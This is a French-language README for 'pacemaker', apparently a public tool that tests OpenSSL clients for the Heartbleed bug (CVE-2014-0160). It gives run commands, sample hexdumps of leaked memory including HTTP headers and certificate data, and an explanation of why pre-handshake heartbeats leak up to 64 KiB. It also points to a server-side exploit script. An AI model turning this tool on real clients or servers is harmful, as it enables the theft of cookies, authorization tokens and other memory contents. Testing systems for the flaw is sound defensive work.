
Heartbleed (CVE-2014-0160) exploit client
Tente d'exploiter les clients OpenSSL vulnérables à Heartbleed (CVE-2014-0160). Compatible avec Python 2 et 3.
Exécutez le serveur :
python pacemaker.py
Dans votre client, ouvrez https://localhost:4433/ (remplacez le nom d'hôte si nécessaire). Par exemple :
curl https://localhost:4433/
Le client échouera toujours à se connecter :
curl: (35) Unknown SSL protocol error in connection to localhost:4433
Si vous n'êtes pas vulnérable, le serveur affiche quelque chose comme :
Connection from: 127.0.0.1:40736
Possibly not vulnerable
Si vous êtes vulnérable, vous verrez quelque chose comme :
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
Les lignes suivantes pleines d'octets NUL sont réduites en une seule avec un * par la suite (comme l'outil xxd).
Un exemple où une mémoire plus "intéressante" est divulguée en utilisant wget -O /dev/null https://google.com https://localhost:4433 :
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
Les TLS heartbeats peuvent être envoyés par l'une ou l'autre partie d'une connexion TLS. Après la fin de la poignée de main, ces heartbeats sont chiffrés. Mais apparemment, OpenSSL autorise les messages heartbeat avant que la poignée de main ne soit terminée. Ces heartbeats (au-dessus de la couche d'enregistrement) ne sont pas chiffrés du tout !
Cela rend très facile l'exploitation du bug sur les clients :
Notez qu'il n'y a aucun besoin de certificats car les heartbeats sont acceptés avant tout échange de certificats ou de clés de chiffrement. Comme la longueur des requêtes heartbeat n'est pas vérifiée, jusqu'à 64 kiB de mémoire peuvent être lues depuis la mémoire du client.
pacemaker effectue les étapes ci-dessus et considère un client comme non vulnérable si l'étape 3 donne des données autres que des Alertes. Si nécessaire pour certains protocoles (SMTP avec STARTTLS par exemple), des données supplémentaires sont échangées avant le début de la poignée de main TLS.
Exécutez ./pacemaker.py -h pour plus d'options. Les options les plus importantes sont probablement -t (--timeout) et -x (--count). Le délai d'attente par défaut est de 3 secondes, ce qui devrait suffire pour la plupart des clients (sauf s'il y a un lien satellite ou autre).
Exemple pour être plus patient par heartbeat (5 secondes) et obtenir quatre réponses heartbeat :
./pacemaker.py -t 5 -x 4
En théorie, les heartbeats peuvent maintenant prendre vingt secondes, mais en pratique vous obtiendrez des réponses beaucoup plus rapidement.
Les clients suivants ont été testés avec OpenSSL 1.0.1f sur Arch Linux et ont divulgué de la mémoire avant la poignée de main :
links est un excellent exemple qui démontre l'effet de ce bug sur les clients. C'est un navigateur textuel qui divulgue des détails, y compris les en-têtes (cookies, jetons d'autorisation) et le contenu des pages.
pacemaker est sous licence MIT. Voir le fichier LICENSE pour plus de détails.
Ceci est une implémentation qui utilise pacemaker pour fabriquer des paquets. Elle a l'inconvénient que les requêtes répétées doivent établir une nouvelle connexion à chaque tentative car le serveur réinitialise immédiatement la connexion après la première réponse heartbeat.
Cet inconvénient est une limitation résultant de l'approche adoptée ; si la poignée de main était également complétée par le client, alors de nombreuses poignées de main chiffrées pourraient être envoyées sans échec de connexion.
heartbleed.py fait partie de pacemaker, donc relève des mêmes conditions de licence.
Les serveurs suivants ont été testés avec OpenSSL 1.0.1f sur Arch Linux (sauf indication contraire) :
openssl s_server (HTTPS)Ce dépôt contient également une version fonctionnelle qui cible les serveurs. ssltest.py a été créé par Jared Stafford ([email protected]), tout le crédit lui revient ! Il a été récupéré depuis http://s3.jspenguin.org/ssltest.py.
Pour l'instant, le script n'est compatible qu'avec Python 2.